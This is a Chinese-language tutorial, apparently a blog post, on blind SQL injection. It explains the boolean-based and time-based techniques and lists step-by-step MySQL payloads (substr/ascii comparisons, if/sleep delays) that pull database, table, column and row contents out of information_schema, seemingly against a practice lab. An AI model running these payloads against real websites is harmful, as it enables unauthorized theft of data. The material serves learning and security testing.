盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为==布尔盲注==和基于==时间的盲注==和报错的盲注。
布尔盲注
1.什么是布尔盲注?
利用场景是网站对SQL注入有防护,==不直接返回数据==。操作步骤包括寻找注入点、构造布尔语句猜解信息(如数据库名长度和字符)。
Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
返回False时:
返回True时:
2.如何进行布尔盲注?
注入流程:
布尔盲注需要用到的函数:
Length() 返回字符串的长度
Substr() 截取字符串
Ascii() 返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如 果错误执行第三个语句
length()
当前数据库长度为8
使用布尔盲注
Substr()
Ascii()
第一个字母ascii码为115—-s
查询mamba数据库里第一个表的长度
and (length((select table name from
information schema.tables where
table schema=’mamba’ limit 0,1)))=4%23
盲注猜测第一个表的第一个字母为—u
(limit 0,1 中0指第一个表)
and (substr((select table name from
information schema.tables where
table schema=’mamba’ limit 0,1),1,1))=’u’%23
第二个字母为—s
and (substr((select table name from
information schema.tables where
table schema=’mamba’ limit 0,1),2,1))=’s’%23
获取user表中字段数量
and (select count( * )from
information_schema.columns where
tabl_ schema=’security’and
table_name=’users’)=3%23(* ,会包括column_name=null的行)
and (select count(column_name)from
information_schema.columns where
tabl_ schema=’security’and
table_name=’users’)=3%23
时间注入
1.什么是时间注入
网页没有显示位也没有回显
延迟注入,是一种盲注的手法, 提交对执行时间敏感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的高级盲注.SQLMAP、穿山甲、胡萝卜等主流注入工具可能检测不出,只能手工检测,利用脚本程序跑出结果
2.时间注入函数
sleep() //延迟函数
if(condition,true,false) //条件语句
ascii() //转换成ascii码
substring(“string”,strart,length) //mid()也一样,取出字符串里的第几位开始, 长度多少的字符
If表达式:IF(expr1,expr2,expr3)
如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3
Length //返回长度函数
sleep() 延迟函数
延迟5秒
时间盲注判断
1.and sleep(5) %23 判断是否存在延迟注入
页面出现刷新中的转圈的图标
if(condition,true,false) //条件语句
2.and if((length(database()))>7,sleep(5),1) –+
查询当前数据库的长度,如果正确那么就延迟5秒
3.and if((substr(database(),1,1)=’s’),sleep(5),1) %23
判断当前数据库名是否为s
ascii() //转换成ascii码
4.and if((ascii(substr(database(),1,1))=115),sleep(5),1) %23
第二种 判断当前数据库名第一位ascii是否为115
5.and if((select count( * ) from information_schema.tables where table_schema=’security’)=4,sleep(5),1)%23
查询表数量
6.and if((select length((select table_name from information_schema.tables where table_schema=’security’ limit 3,1))=5),sleep(5),1)%23
查询表名长度
7.and if((select ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 3,1),1,1)))=117,sleep(5),1)%23
截取表名第一位
8.and if(((select count(*) from information_schema.columns where table_schema=’security’ and table_name=’users’)=3),sleep(5),1)%23
查询列字段数量
9.and if((select length((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1))=2),sleep(5),1)%23
查询列名长度
10.and if((select ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),1,1)))=105,sleep(5),1)%23
截取列名第一位
11.and if((select length((select id from users limit 0,1)))=1,sleep(5),1)%23
查询id第一条数据的长度
12.and if((select ascii(substr((select id from users limit 0,1),1,1)))=49,sleep(5),1)%23
获取数据信息内容
评论